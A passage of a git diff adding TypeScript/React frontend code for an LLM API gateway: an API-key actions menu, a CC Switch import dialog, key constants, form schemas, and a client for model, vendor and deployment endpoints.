+  row: Row<TData>
+}
+
+export function DataTableRowActions<TData>({
+  row,
+}: DataTableRowActionsProps<TData>) {
+  const { t } = useTranslation()
+  const apiKey = apiKeySchema.parse(row.original)
+  const {
+    setOpen,
+    setCurrentRow,
+    triggerRefresh,
+    setResolvedKey,
+    resolveRealKey,
+  } = useApiKeys()
+  const isEnabled = apiKey.status === API_KEY_STATUS.ENABLED
+  const { chatPresets, serverAddress } = useChatPresets()
+
+  const hasChatPresets = chatPresets.length > 0
+
+  const handleOpenChatPreset = useCallback(
+    async (preset: ChatPreset) => {
+      const realKey = await resolveRealKey(apiKey.id)
+      if (!realKey) return
+
+      if (preset.type === 'fluent') {
+        const success = sendToFluent(realKey, serverAddress)
+        if (success) {
+          toast.success(t('Sent the API key to FluentRead.'))
+        } else {
+          toast.info(
+            t(
+              'FluentRead extension not detected. Please ensure it is installed and active.'
+            )
+          )
+        }
+        return
+      }
+
+      const resolvedUrl = resolveChatUrl({
+        template: preset.url,
+        apiKey: realKey,
+        serverAddress,
+      })
+
+      if (!resolvedUrl) {
+        toast.error(t('Invalid chat link. Please contact your administrator.'))
+        return
+      }
+
+      if (typeof window === 'undefined') return
+
+      try {
+        window.open(resolvedUrl, '_blank', 'noopener')
+      } catch {
+        window.location.href = resolvedUrl
+      }
+    },
+    [resolveRealKey, apiKey.id, serverAddress, t]
+  )
+
+  const handleToggleStatus = async () => {
+    const newStatus = isEnabled
+      ? API_KEY_STATUS.DISABLED
+      : API_KEY_STATUS.ENABLED
+
+    try {
+      const result = await updateApiKeyStatus(apiKey.id, newStatus)
+      if (result.success) {
+        const message = isEnabled
+          ? t(SUCCESS_MESSAGES.API_KEY_DISABLED)
+          : t(SUCCESS_MESSAGES.API_KEY_ENABLED)
+        toast.success(message)
+        triggerRefresh()
+      } else {
+        toast.error(result.message || t(ERROR_MESSAGES.STATUS_UPDATE_FAILED))
+      }
+    } catch {
+      toast.error(t(ERROR_MESSAGES.UNEXPECTED))
+    }
+  }
+
+  return (
+    <DropdownMenu modal={false}>
+      <DropdownMenuTrigger asChild>
+        <Button
+          variant='ghost'
+          className='data-[state=open]:bg-muted flex h-8 w-8 p-0'
+        >
+          <DotsHorizontalIcon className='h-4 w-4' />
+          <span className='sr-only'>{t('Open menu')}</span>
+        </Button>
+      </DropdownMenuTrigger>
+      <DropdownMenuContent align='end' className='w-[200px]'>
+        <DropdownMenuItem
+          onClick={async () => {
+            const realKey = await resolveRealKey(apiKey.id)
+            if (!realKey) return
+            const ok = await copyToClipboard(realKey)
+            if (ok) toast.success(t('Copied'))
+          }}
+        >
+          {t('Copy Key')}
+          <DropdownMenuShortcut>
+            <Copy size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+        <DropdownMenuItem
+          onClick={async () => {
+            const realKey = await resolveRealKey(apiKey.id)
+            if (!realKey) return
+            const connStr = encodeConnectionString(realKey, getServerAddress())
+            const ok = await copyToClipboard(connStr)
+            if (ok) toast.success(t('Copied'))
+          }}
+        >
+          {t('Copy Connection Info')}
+          <DropdownMenuShortcut>
+            <Link size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+        <DropdownMenuSeparator />
+        <DropdownMenuItem
+          onClick={() => {
+            setCurrentRow(apiKey)
+            setOpen('update')
+          }}
+        >
+          {t('Edit')}
+          <DropdownMenuShortcut>
+            <Edit size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+        <DropdownMenuItem onClick={handleToggleStatus}>
+          {isEnabled ? (
+            <>
+              {t('Disable')}
+              <DropdownMenuShortcut>
+                <PowerOff size={16} />
+              </DropdownMenuShortcut>
+            </>
+          ) : (
+            <>
+              {t('Enable')}
+              <DropdownMenuShortcut>
+                <Power size={16} />
+              </DropdownMenuShortcut>
+            </>
+          )}
+        </DropdownMenuItem>
+        <DropdownMenuItem
+          onClick={async () => {
+            const realKey = await resolveRealKey(apiKey.id)
+            if (!realKey) return
+            setResolvedKey(realKey)
+            setCurrentRow(apiKey)
+            setOpen('cc-switch')
+          }}
+        >
+          {t('CC Switch')}
+          <DropdownMenuShortcut>
+            <ArrowRightLeft size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+        {hasChatPresets && (
+          <DropdownMenuSub>
+            <DropdownMenuSubTrigger>{t('Chat')}</DropdownMenuSubTrigger>
+            <DropdownMenuSubContent>
+              {chatPresets.map((preset) => (
+                <DropdownMenuItem
+                  key={preset.id}
+                  onClick={() => handleOpenChatPreset(preset)}
+                >
+                  {preset.name}
+                  {preset.type !== 'web' && (
+                    <DropdownMenuShortcut>
+                      <ExternalLink size={16} />
+                    </DropdownMenuShortcut>
+                  )}
+                </DropdownMenuItem>
+              ))}
+            </DropdownMenuSubContent>
+          </DropdownMenuSub>
+        )}
+        <DropdownMenuSeparator />
+        <DropdownMenuItem
+          onClick={() => {
+            setCurrentRow(apiKey)
+            setOpen('delete')
+          }}
+          className='text-destructive focus:text-destructive'
+        >
+          {t('Delete')}
+          <DropdownMenuShortcut>
+            <Trash2 size={16} />
+          </DropdownMenuShortcut>
+        </DropdownMenuItem>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/components/dialogs/cc-switch-dialog.tsx b/new-api/web/default/src/features/keys/components/dialogs/cc-switch-dialog.tsx
new file mode 100644
index 0000000..f99beaf
--- /dev/null
+++ b/new-api/web/default/src/features/keys/components/dialogs/cc-switch-dialog.tsx
@@ -0,0 +1,207 @@
+import { useState, useEffect, useMemo } from 'react'
+import { useQuery } from '@tanstack/react-query'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { getUserModels } from '@/lib/api'
+import { Button } from '@/components/ui/button'
+import { ComboboxInput } from '@/components/ui/combobox-input'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Label } from '@/components/ui/label'
+import { RadioGroup, RadioGroupItem } from '@/components/ui/radio-group'
+
+const APP_CONFIGS = {
+  claude: {
+    label: 'Claude',
+    defaultName: 'My Claude',
+    modelFields: [
+      { key: 'model', labelKey: 'Primary Model', required: true },
+      { key: 'haikuModel', labelKey: 'Haiku Model', required: false },
+      { key: 'sonnetModel', labelKey: 'Sonnet Model', required: false },
+      { key: 'opusModel', labelKey: 'Opus Model', required: false },
+    ],
+  },
+  codex: {
+    label: 'Codex',
+    defaultName: 'My Codex',
+    modelFields: [{ key: 'model', labelKey: 'Primary Model', required: true }],
+  },
+  gemini: {
+    label: 'Gemini',
+    defaultName: 'My Gemini',
+    modelFields: [{ key: 'model', labelKey: 'Primary Model', required: true }],
+  },
+} as const
+
+type AppType = keyof typeof APP_CONFIGS
+
+function getServerAddress(): string {
+  try {
+    const raw = localStorage.getItem('status')
+    if (raw) {
+      const status = JSON.parse(raw)
+      if (status.server_address) return status.server_address
+    }
+  } catch {
+    /* empty */
+  }
+  return window.location.origin
+}
+
+function buildCCSwitchURL(
+  app: string,
+  name: string,
+  models: Record<string, string>,
+  apiKey: string
+): string {
+  const serverAddress = getServerAddress()
+  const endpoint = app === 'codex' ? serverAddress + '/v1' : serverAddress
+  const params = new URLSearchParams()
+  params.set('resource', 'provider')
+  params.set('app', app)
+  params.set('name', name)
+  params.set('endpoint', endpoint)
+  params.set('apiKey', apiKey)
+  for (const [k, v] of Object.entries(models)) {
+    if (v) params.set(k, v)
+  }
+  params.set('homepage', serverAddress)
+  params.set('enabled', 'true')
+  return `ccswitch://v1/import?${params.toString()}`
+}
+
+interface Props {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  tokenKey: string
+}
+
+export function CCSwitchDialog(props: Props) {
+  const { t } = useTranslation()
+  const [app, setApp] = useState<AppType>('claude')
+  const [name, setName] = useState<string>(APP_CONFIGS.claude.defaultName)
+  const [models, setModels] = useState<Record<string, string>>({})
+
+  const { data: modelsData } = useQuery({
+    queryKey: ['user-models-ccswitch'],
+    queryFn: getUserModels,
+    enabled: props.open,
+    staleTime: 5 * 60 * 1000,
+  })
+
+  const modelOptions = useMemo(() => {
+    const items = modelsData?.data ?? []
+    return items.map((m) => ({ value: m, label: m }))
+  }, [modelsData?.data])
+
+  useEffect(() => {
+    if (props.open) {
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setModels({})
+
+      setApp('claude')
+
+      setName(APP_CONFIGS.claude.defaultName)
+    }
+  }, [props.open])
+
+  const currentConfig = APP_CONFIGS[app]
+
+  const handleAppChange = (val: string) => {
+    const appVal = val as AppType
+    setApp(appVal)
+    setName(APP_CONFIGS[appVal].defaultName)
+    setModels({})
+  }
+
+  const handleSubmit = () => {
+    if (!models.model) {
+      toast.warning(t('Please select a primary model'))
+      return
+    }
+    const key = props.tokenKey.startsWith('sk-')
+      ? props.tokenKey
+      : `sk-${props.tokenKey}`
+    const url = buildCCSwitchURL(app, name, models, key)
+    window.open(url, '_blank')
+    props.onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={props.open} onOpenChange={props.onOpenChange}>
+      <DialogContent className='sm:max-w-md'>
+        <DialogHeader>
+          <DialogTitle>{t('Import to CC Switch')}</DialogTitle>
+        </DialogHeader>
+
+        <div className='space-y-4'>
+          <div className='space-y-2'>
+            <Label>{t('Application')}</Label>
+            <RadioGroup
+              value={app}
+              onValueChange={handleAppChange}
+              className='flex gap-4'
+            >
+              {(
+                Object.entries(APP_CONFIGS) as [
+                  AppType,
+                  (typeof APP_CONFIGS)[AppType],
+                ][]
+              ).map(([key, cfg]) => (
+                <div key={key} className='flex items-center gap-2'>
+                  <RadioGroupItem value={key} id={`app-${key}`} />
+                  <Label htmlFor={`app-${key}`} className='cursor-pointer'>
+                    {cfg.label}
+                  </Label>
+                </div>
+              ))}
+            </RadioGroup>
+          </div>
+
+          <div className='space-y-2'>
+            <Label>{t('Name')}</Label>
+            <ComboboxInput
+              options={[]}
+              value={name}
+              onValueChange={setName}
+              placeholder={currentConfig.defaultName}
+              emptyText=''
+            />
+          </div>
+
+          {currentConfig.modelFields.map((field) => (
+            <div key={field.key} className='space-y-2'>
+              <Label>
+                {t(field.labelKey)}
+                {field.required && (
+                  <span className='text-destructive ml-0.5'>*</span>
+                )}
+              </Label>
+              <ComboboxInput
+                options={modelOptions}
+                value={models[field.key] || ''}
+                onValueChange={(v) =>
+                  setModels((prev) => ({ ...prev, [field.key]: v }))
+                }
+                placeholder={t('Select or enter model name')}
+                emptyText={t('No models found')}
+              />
+            </div>
+          ))}
+        </div>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={() => props.onOpenChange(false)}>
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleSubmit}>{t('Open CC Switch')}</Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/constants.ts b/new-api/web/default/src/features/keys/constants.ts
new file mode 100644
index 0000000..435d808
--- /dev/null
+++ b/new-api/web/default/src/features/keys/constants.ts
@@ -0,0 +1,86 @@
+import { type StatusBadgeProps } from '@/components/status-badge'
+
+// ============================================================================
+// API Key Status Configuration
+// label values are i18n keys; use t(config.label) in components (e.g. StatusBadge)
+// ============================================================================
+
+export const API_KEY_STATUS = {
+  ENABLED: 1,
+  DISABLED: 2,
+  EXPIRED: 3,
+  EXHAUSTED: 4,
+} as const
+
+export const API_KEY_STATUSES: Record<
+  number,
+  Pick<StatusBadgeProps, 'variant' | 'showDot'> & {
+    label: string
+    value: number
+  }
+> = {
+  [API_KEY_STATUS.ENABLED]: {
+    label: 'Enabled',
+    variant: 'success',
+    value: API_KEY_STATUS.ENABLED,
+    showDot: true,
+  },
+  [API_KEY_STATUS.DISABLED]: {
+    label: 'Disabled',
+    variant: 'neutral',
+    value: API_KEY_STATUS.DISABLED,
+    showDot: true,
+  },
+  [API_KEY_STATUS.EXPIRED]: {
+    label: 'Expired',
+    variant: 'warning',
+    value: API_KEY_STATUS.EXPIRED,
+    showDot: true,
+  },
+  [API_KEY_STATUS.EXHAUSTED]: {
+    label: 'Exhausted',
+    variant: 'danger',
+    value: API_KEY_STATUS.EXHAUSTED,
+    showDot: true,
+  },
+} as const
+
+export const API_KEY_STATUS_OPTIONS = Object.values(API_KEY_STATUSES).map(
+  (config) => ({
+    label: config.label,
+    value: String(config.value),
+  })
+)
+
+// ============================================================================
+// Default Values
+// ============================================================================
+
+export const DEFAULT_GROUP = 'auto' as const
+
+// ============================================================================
+// Error Messages (i18n keys: use t(ERROR_MESSAGES.xxx) when displaying)
+// ============================================================================
+
+export const ERROR_MESSAGES = {
+  UNEXPECTED: 'An unexpected error occurred',
+  LOAD_FAILED: 'Failed to load API keys',
+  SEARCH_FAILED: 'Failed to search API keys',
+  CREATE_FAILED: 'Failed to create API key',
+  UPDATE_FAILED: 'Failed to update API key',
+  DELETE_FAILED: 'Failed to delete API key',
+  BATCH_DELETE_FAILED: 'Failed to delete API keys',
+  STATUS_UPDATE_FAILED: 'Failed to update API key status',
+} as const
+
+// ============================================================================
+// Success Messages (i18n keys: use t(SUCCESS_MESSAGES.xxx) when displaying)
+// ============================================================================
+
+export const SUCCESS_MESSAGES = {
+  API_KEY_CREATED: 'API Key created successfully',
+  API_KEY_UPDATED: 'API Key updated successfully',
+  API_KEY_DELETED: 'API Key deleted successfully',
+  API_KEY_ENABLED: 'API Key enabled successfully',
+  API_KEY_DISABLED: 'API Key disabled successfully',
+} as const
diff --git a/new-api/web/default/src/features/keys/index.tsx b/new-api/web/default/src/features/keys/index.tsx
new file mode 100644
index 0000000..c7bb51f
--- /dev/null
+++ b/new-api/web/default/src/features/keys/index.tsx
@@ -0,0 +1,24 @@
+import { useTranslation } from 'react-i18next'
+import { SectionPageLayout } from '@/components/layout'
+import { ApiKeysDialogs } from './components/api-keys-dialogs'
+import { ApiKeysProvider } from './components/api-keys-provider'
+import { ApiKeysTable } from './components/api-keys-table'
+
+export function ApiKeys() {
+  const { t } = useTranslation()
+  return (
+    <ApiKeysProvider>
+      <SectionPageLayout>
+        <SectionPageLayout.Title>{t('API Keys')}</SectionPageLayout.Title>
+        <SectionPageLayout.Description>
+          {t('Manage your API keys for accessing the service')}
+        </SectionPageLayout.Description>
+        <SectionPageLayout.Content>
+          <ApiKeysTable />
+        </SectionPageLayout.Content>
+      </SectionPageLayout>
+
+      <ApiKeysDialogs />
+    </ApiKeysProvider>
+  )
+}
diff --git a/new-api/web/default/src/features/keys/lib/api-key-form.ts b/new-api/web/default/src/features/keys/lib/api-key-form.ts
new file mode 100644
index 0000000..1c4ef00
--- /dev/null
+++ b/new-api/web/default/src/features/keys/lib/api-key-form.ts
@@ -0,0 +1,89 @@
+import { z } from 'zod'
+import { parseQuotaFromDollars, quotaUnitsToDollars } from '@/lib/format'
+import { DEFAULT_GROUP } from '../constants'
+import { type ApiKeyFormData, type ApiKey } from '../types'
+
+// ============================================================================
+// Form Schema
+// ============================================================================
+
+export const apiKeyFormSchema = z.object({
+  name: z.string().min(1, 'Name is required'),
+  remain_quota_dollars: z.number().min(0).optional(),
+  expired_time: z.date().optional(),
+  unlimited_quota: z.boolean(),
+  model_limits: z.array(z.string()),
+  allow_ips: z.string().optional(),
+  group: z.string().optional(),
+  cross_group_retry: z.boolean().optional(),
+  tokenCount: z.number().min(1).optional(),
+})
+
+export type ApiKeyFormValues = z.infer<typeof apiKeyFormSchema>
+
+// ============================================================================
+// Form Defaults
+// ============================================================================
+
+export const API_KEY_FORM_DEFAULT_VALUES: ApiKeyFormValues = {
+  name: '',
+  remain_quota_dollars: 10,
+  expired_time: undefined,
+  unlimited_quota: true,
+  model_limits: [],
+  allow_ips: '',
+  group: DEFAULT_GROUP,
+  cross_group_retry: true,
+  tokenCount: 1,
+}
+
+// ============================================================================
+// Form Data Transformation
+// ============================================================================
+
+/**
+ * Transform form data to API payload
+ */
+export function transformFormDataToPayload(
+  data: ApiKeyFormValues
+): ApiKeyFormData {
+  return {
+    name: data.name,
+    remain_quota: data.unlimited_quota
+      ? 0
+      : parseQuotaFromDollars(data.remain_quota_dollars || 0),
+    expired_time: data.expired_time
+      ? Math.floor(data.expired_time.getTime() / 1000)
+      : -1,
+    unlimited_quota: data.unlimited_quota,
+    model_limits_enabled: data.model_limits.length > 0,
+    model_limits: data.model_limits.join(','),
+    allow_ips: data.allow_ips || '',
+    group: data.group || '',
+    cross_group_retry: data.group === 'auto' ? !!data.cross_group_retry : false,
+  }
+}
+
+/**
+ * Transform API key data to form defaults
+ */
+export function transformApiKeyToFormDefaults(
+  apiKey: ApiKey
+): ApiKeyFormValues {
+  return {
+    name: apiKey.name,
+    remain_quota_dollars: quotaUnitsToDollars(apiKey.remain_quota),
+    expired_time:
+      apiKey.expired_time > 0
+        ? new Date(apiKey.expired_time * 1000)
+        : undefined,
+    unlimited_quota: apiKey.unlimited_quota,
+    model_limits: apiKey.model_limits
+      ? apiKey.model_limits.split(',').filter(Boolean)
+      : [],
+    allow_ips: apiKey.allow_ips || '',
+    group: apiKey.group || DEFAULT_GROUP,
+    cross_group_retry: !!apiKey.cross_group_retry,
+    tokenCount: 1,
+  }
+}
diff --git a/new-api/web/default/src/features/keys/lib/index.ts b/new-api/web/default/src/features/keys/lib/index.ts
new file mode 100644
index 0000000..1f9301b
--- /dev/null
+++ b/new-api/web/default/src/features/keys/lib/index.ts
@@ -0,0 +1,10 @@
+// ============================================================================
+// Form Utilities
+// ============================================================================
+export {
+  apiKeyFormSchema,
+  type ApiKeyFormValues,
+  API_KEY_FORM_DEFAULT_VALUES,
+  transformFormDataToPayload,
+  transformApiKeyToFormDefaults,
+} from './api-key-form'
diff --git a/new-api/web/default/src/features/keys/types.ts b/new-api/web/default/src/features/keys/types.ts
new file mode 100644
index 0000000..eea41fe
--- /dev/null
+++ b/new-api/web/default/src/features/keys/types.ts
@@ -0,0 +1,88 @@
+import { z } from 'zod'
+
+// ============================================================================
+// API Key Schema & Types
+// ============================================================================
+
+export const apiKeySchema = z.object({
+  id: z.number(),
+  name: z.string(),
+  key: z.string(),
+  status: z.number(), // 1: enabled, 2: disabled, 3: expired, 4: exhausted
+  remain_quota: z.number(),
+  used_quota: z.number(),
+  unlimited_quota: z.boolean(),
+  expired_time: z.number(), // -1 for never expires
+  created_time: z.number(),
+  accessed_time: z.number(),
+  group: z.string().nullish().default(''),
+  cross_group_retry: z
+    .preprocess((v) => {
+      if (v === 1) return true
+      if (v === 0) return false
+      return v
+    }, z.boolean())
+    .optional()
+    .default(false),
+  model_limits_enabled: z.boolean(),
+  model_limits: z.string().nullish().default(''),
+  allow_ips: z.string().nullish().default(''),
+})
+
+export type ApiKey = z.infer<typeof apiKeySchema>
+
+// ============================================================================
+// API Request/Response Types
+// ============================================================================
+
+export interface ApiResponse<T = unknown> {
+  success: boolean
+  message?: string
+  data?: T
+}
+
+export interface GetApiKeysParams {
+  p?: number
+  size?: number
+}
+
+export interface GetApiKeysResponse {
+  success: boolean
+  message?: string
+  data?: {
+    items: ApiKey[]
+    total: number
+    page: number
+    page_size: number
+  }
+}
+
+export interface SearchApiKeysParams {
+  keyword?: string
+  token?: string
+  p?: number
+  size?: number
+}
+
+export interface ApiKeyFormData {
+  name: string
+  remain_quota: number
+  expired_time: number
+  unlimited_quota: boolean
+  model_limits_enabled: boolean
+  model_limits: string
+  allow_ips: string
+  group: string
+  cross_group_retry: boolean
+}
+
+// ============================================================================
+// Dialog Types
+// ============================================================================
+
+export type ApiKeysDialogType =
+  | 'create'
+  | 'update'
+  | 'delete'
+  | 'batch-delete'
+  | 'cc-switch'
diff --git a/new-api/web/default/src/features/models/api.ts b/new-api/web/default/src/features/models/api.ts
new file mode 100644
index 0000000..3b2bb21
--- /dev/null
+++ b/new-api/web/default/src/features/models/api.ts
@@ -0,0 +1,614 @@
+import { api } from '@/lib/api'
+import type {
+  GetModelsParams,
+  GetModelsResponse,
+  GetModelResponse,
+  GetVendorsResponse,
+  GetVendorResponse,
+  Model,
+  Vendor,
+  SearchModelsParams,
+  SyncUpstreamResponse,
+  PreviewUpstreamDiffResponse,
+  MissingModelsResponse,
+  PrefillGroupsResponse,
+  SyncLocale,
+  SyncSource,
+  SyncOverwritePayload,
+  DeploymentSettingsResponse,
+  ListDeploymentsResponse,
+} from './types'
+
+// ============================================================================
+// Model CRUD Operations
+// ============================================================================
+
+/**
+ * Get paginated list of models
+ */
+export async function getModels(
+  params: GetModelsParams = {}
+): Promise<GetModelsResponse> {
+  const res = await api.get('/api/models/', { params })
+  return res.data
+}
+
+/**
+ * Search models with filters
+ */
+export async function searchModels(
+  params: SearchModelsParams
+): Promise<GetModelsResponse> {
+  const res = await api.get('/api/models/search', { params })
+  return res.data
+}
+
+/**
+ * Get single model by ID
+ */
+export async function getModel(id: number): Promise<GetModelResponse> {
+  const res = await api.get(`/api/models/${id}`)
+  return res.data
+}
+
+/**
+ * Create new model
+ */
+export async function createModel(
+  data: Partial<Model>
+): Promise<{ success: boolean; message?: string; data?: Model }> {
+  const res = await api.post('/api/models/', data)
+  return res.data
+}
+
+/**
+ * Update existing model
+ */
+export async function updateModel(
+  data: Partial<Model> & { id: number }
+): Promise<{ success: boolean; message?: string; data?: Model }> {
+  const res = await api.put('/api/models/', data)
+  return res.data
+}
+
+/**
+ * Update model status only
+ */
+export async function updateModelStatus(
+  id: number,
+  status: number
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.put('/api/models/?status_only=true', { id, status })
+  return res.data
+}
+
+/**
+ * Delete model
+ */
+export async function deleteModel(
+  id: number
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete(`/api/models/${id}`)
+  return res.data
+}
+
+// ============================================================================
+// Vendor Management
+// ============================================================================
+
+/**
+ * Get paginated list of vendors
+ */
+export async function getVendors(params?: {
+  p?: number
+  page_size?: number
+}): Promise<GetVendorsResponse> {
+  const res = await api.get('/api/vendors/', {
+    params: params || { page_size: 1000 },
+  })
+  return res.data
+}
+
+/**
+ * Search vendors
+ */
+export async function searchVendors(params: {
+  keyword?: string
+  p?: number
+  page_size?: number
+}): Promise<GetVendorsResponse> {
+  const res = await api.get('/api/vendors/search', { params })
+  return res.data
+}
+
+/**
+ * Get single vendor by ID
+ */
+export async function getVendor(id: number): Promise<GetVendorResponse> {
+  const res = await api.get(`/api/vendors/${id}`)
+  return res.data
+}
+
+/**
+ * Create new vendor
+ */
+export async function createVendor(
+  data: Partial<Vendor>
+): Promise<{ success: boolean; message?: string; data?: Vendor }> {
+  const res = await api.post('/api/vendors/', data)
+  return res.data
+}
+
+/**
+ * Update existing vendor
+ */
+export async function updateVendor(
+  data: Partial<Vendor> & { id: number }
+): Promise<{ success: boolean; message?: string; data?: Vendor }> {
+  const res = await api.put('/api/vendors/', data)
+  return res.data
+}
+
+/**
+ * Delete vendor
+ */
+export async function deleteVendor(
+  id: number
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete(`/api/vendors/${id}`)
+  return res.data
+}
+
+// ============================================================================
+// Sync Operations
+// ============================================================================
+
+/**
+ * Sync upstream models (missing only or with overwrite)
+ */
+export async function syncUpstream(params?: {
+  locale?: SyncLocale
+  source?: SyncSource
+  overwrite?: SyncOverwritePayload[]
+}): Promise<SyncUpstreamResponse> {
+  const res = await api.post('/api/models/sync_upstream', params)
+  return res.data
+}
+
+/**
+ * Preview upstream diff
+ */
+export async function previewUpstreamDiff(params?: {
+  locale?: SyncLocale
+  source?: SyncSource
+}): Promise<PreviewUpstreamDiffResponse> {
+  const searchParams = new URLSearchParams()
+  if (params?.locale) {
+    searchParams.set('locale', params.locale)
+  }
+  if (params?.source) {
+    searchParams.set('source', params.source)
+  }
+  const queryString = searchParams.toString()
+  const url = queryString
+    ? `/api/models/sync_upstream/preview?${queryString}`
+    : '/api/models/sync_upstream/preview'
+  const res = await api.get(url)
+  return res.data
+}
+
+/**
+ * Apply upstream overwrite
+ */
+export async function applyUpstreamOverwrite(params: {
+  overwrite: SyncOverwritePayload[]
+  locale?: SyncLocale
+  source?: SyncSource
+}): Promise<SyncUpstreamResponse> {
+  return syncUpstream(params)
+}
+
+// ============================================================================
+// Utility Operations
+// ============================================================================
+
+/**
+ * Get missing models (used but not configured)
+ */
+export async function getMissingModels(): Promise<MissingModelsResponse> {
+  const res = await api.get('/api/models/missing')
+  return res.data
+}
+
+/**
+ * Get prefill groups
+ */
+export async function getPrefillGroups(
+  type?: 'model' | 'tag' | 'endpoint'
+): Promise<PrefillGroupsResponse> {
+  const res = await api.get('/api/prefill_group', {
+    params: type ? { type } : undefined,
+  })
+  return res.data
+}
+
+/**
+ * Create prefill group
+ */
+export async function createPrefillGroup(data: {
+  name: string
+  type: 'model' | 'tag' | 'endpoint'
+  items: string | string[]
+  description?: string
+}): Promise<{ success: boolean; message?: string }> {
+  const res = await api.post('/api/prefill_group', data)
+  return res.data
+}
+
+/**
+ * Update prefill group
+ */
+export async function updatePrefillGroup(data: {
+  id: number
+  type?: 'model' | 'tag' | 'endpoint'
+  name?: string
+  items?: string | string[]
+  description?: string
+}): Promise<{ success: boolean; message?: string }> {
+  const res = await api.put('/api/prefill_group', data)
+  return res.data
+}
+
+/**
+ * Delete prefill group
+ */
+export async function deletePrefillGroup(
+  id: number
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete(`/api/prefill_group/${id}`)
+  return res.data
+}
+
+// ============================================================================
+// Deployment Operations
+// ============================================================================
+
+/**
+ * Get deployment settings (io.net config)
+ */
+export async function getDeploymentSettings(): Promise<DeploymentSettingsResponse> {
+  const res = await api.get('/api/deployments/settings')
+  return res.data
+}
+
+/**
+ * Test deployment connection
+ */
+export async function testDeploymentConnection(): Promise<{
+  success: boolean
+  message?: string
+}> {
+  const config = { skipErrorHandler: true } as unknown as Parameters<
+    typeof api.post
+  >[2]
+  const res = await api.post(
+    '/api/deployments/settings/test-connection',
+    {},
+    config
+  )
+  return res.data
+}
+
+/**
+ * Test deployment connection with optional api_key (allow test before saving)
+ */
+export async function testDeploymentConnectionWithKey(
+  apiKey?: string
+): Promise<{
+  success: boolean
+  message?: string
+}> {
+  const payload =
+    typeof apiKey === 'string' && apiKey.trim()
+      ? { api_key: apiKey.trim() }
+      : {}
+  const config = { skipErrorHandler: true } as unknown as Parameters<
+    typeof api.post
+  >[2]
+  const res = await api.post(
+    '/api/deployments/settings/test-connection',
+    payload,
+    config
+  )
+  return res.data
+}
+
+/**
+ * List deployments
+ */
+export async function listDeployments(params: {
+  p?: number
+  page_size?: number
+  status?: string
+}): Promise<ListDeploymentsResponse> {
+  const res = await api.get('/api/deployments/', { params })
+  return res.data
+}
+
+/**
+ * Search deployments (keyword + status)
+ *
+ * Backend exposes a dedicated `/api/deployments/search` route that supports
+ * filtering by keyword (and status). Use this when keyword is provided.
+ */
+export async function searchDeployments(params: {
+  p?: number
+  page_size?: number
+  status?: string
+  keyword?: string
+}): Promise<ListDeploymentsResponse> {
+  const res = await api.get('/api/deployments/search', { params })
+  return res.data
+}
+
+/**
+ * Get deployment details
+ */
+export async function getDeployment(id: string | number): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const res = await api.get(`/api/deployments/${id}`)
+  return res.data
+}
+
+/**
+ * List deployment containers
+ */
+export async function listDeploymentContainers(
+  deploymentId: string | number
+): Promise<{
+  success: boolean
+  message?: string
+  data?: {
+    total?: number
+    containers?: Array<Record<string, unknown>>
+  }
+}> {
+  const res = await api.get(`/api/deployments/${deploymentId}/containers`)
+  return res.data
+}
+
+/**
+ * Get single container details
+ */
+export async function getDeploymentContainerDetails(
+  deploymentId: string | number,
+  containerId: string
+): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const res = await api.get(
+    `/api/deployments/${deploymentId}/containers/${encodeURIComponent(containerId)}`
+  )
+  return res.data
+}
+
+/**
+ * Delete deployment
+ */
+export async function deleteDeployment(
+  id: string | number
+): Promise<{ success: boolean; message?: string }> {
+  const res = await api.delete(`/api/deployments/${id}`)
+  return res.data
+}
+
+/**
+ * Get deployment logs (raw)
+ */
+export async function getDeploymentLogs(
+  deploymentId: string | number,
+  params: {
+    container_id: string
+    stream?: 'stdout' | 'stderr' | 'all' | string
+    level?: string
+    cursor?: string
+    limit?: number
+    follow?: boolean
+    start_time?: string
+    end_time?: string
+  }
+): Promise<{ success: boolean; message?: string; data?: string }> {
+  const res = await api.get(`/api/deployments/${deploymentId}/logs`, { params })
+  return res.data
+}
+
+/**
+ * Get hardware types for deployment
+ */
+export async function getHardwareTypes(): Promise<{
+  success: boolean
+  data?: { hardware_types?: Array<Record<string, unknown>> }
+}> {
+  const res = await api.get('/api/deployments/hardware-types')
+  return res.data
+}
+
+/**
+ * Get locations for deployment
+ */
+export async function getDeploymentLocations(): Promise<{
+  success: boolean
+  message?: string
+  data?: { locations?: Array<Record<string, unknown>>; total?: number }
+}> {
+  const res = await api.get('/api/deployments/locations')
+  return res.data
+}
+
+/**
+ * Get available replicas
+ */
+export async function getAvailableReplicas(params: {
+  hardware_id: string
+  gpu_count: number
+}): Promise<{
+  success: boolean
+  data?: { replicas?: Array<Record<string, unknown>> }
+}> {
+  const res = await api.get('/api/deployments/available-replicas', { params })
+  return res.data
+}
+
+/**
+ * Estimate deployment price
+ */
+export async function estimatePrice(params: {
+  location_ids: Array<string | number>
+  hardware_id: string | number
+  gpus_per_container: number
+  duration_hours: number
+  replica_count: number
+  currency?: string
+}): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, unknown>
+}> {
+  const locationIds = (params.location_ids || [])
+    .map((x) => Number(x))
+    .filter((n) => Number.isInteger(n) && n > 0)
+  const hardwareId = Number(params.hardware_id)
+  const duration = Number(params.duration_hours)
+  const gpus = Number(params.gpus_per_container)
